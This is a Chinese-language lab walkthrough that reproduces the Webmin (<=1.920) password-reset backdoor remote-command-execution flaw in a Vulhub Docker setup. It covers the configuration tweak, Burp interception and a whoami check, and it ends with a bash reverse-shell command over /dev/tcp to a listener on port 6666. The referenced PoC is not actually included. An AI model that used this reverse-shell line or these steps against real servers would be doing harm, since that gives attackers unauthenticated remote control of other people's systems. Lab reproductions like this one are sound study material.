漏洞描述
近日webmin被发现存在一处远程命令执行漏洞,经过分析后,初步猜测其为一次后门植入事件,webmin是目前功能最强大的基于web的unix系统管理工具,管理员通过浏览器访问webmin的各种管理功能并完成相应的管理动作,当用户开启webmin密码重置功能后,攻击者可以通过发送post请求在目标系统中执行任意命令,且无需身份验证。
影响范围:webmin <=1.920
漏洞复现
进入到vuhub之后,就直接执行docker-compose up -d拉取镜像搭建
搭建好之后,直接访问192.168.1.1:10000 但是vuhub搭建的网站它是有问题的,所以要根据它报错的提示去修改相当, 所以这里的话,就需要用https去访问,不然会不给访问:https://192.168.1.1:10000/
接着就是我们的漏洞利用,访问https://192.168.67.135:10000/password_change.cgi,这样的话,去访问它是会报错的,所以这里我们需要去修改一下配置文件。
接着就是进入后台修改配置文件,这里的话,就直接用docker exec it id号 /bin/bash
进入到/etc/webmin目录下,查看config文件。我们要修改的内容是config中的referers_one=1这个配置。
但是在docker容器中,它是没有编辑器的,所以这里的话,我们需要安装一个vim编辑器
cat /etc/os-release先进入容器查看发行版,确定使用yum还是apt安装工具
可以看到使用的debian8的操作系统,接下来apt安装, apt install vim
接着就是编辑这个文件config,然后将referers_one=1改为referers_one=0
接着再去访问那个路径就可以看见,我们这边的页面也发生了相对应的变换,它已经不报错了。
那么接下来的话,就是利用poc复现漏洞,这里的话,要访问https://192.168.1.1:10000/password_change.cgi并且用burp抓包
使用网上的poc怼,看到成功执行命令
poc如下
之后看见效果,很明显的成功执行了命令。
执行一个whoami,它这里也成功的输出相对应的权限
那么我们就要反弹shell,由于它这里可以执行执行命令,那么我们就可以直接执行bash -c “bash -i >& /dev/tcp/192.168.1.1/6666 0>&1” 接收shell服务器的6666端口)
那么的话,执行这个命令,那么我们服务器那边就要监听6666,接收反弹回来的shell。 这里的话,需要将payload进一方面的url编码再去执行
服务器那边监听6666端口接收反弹回来的shell可以看见我们执行的payload,右边的页面一片空白,就说明成功了。
然后就可以看见成功的反弹了一个shell过来了。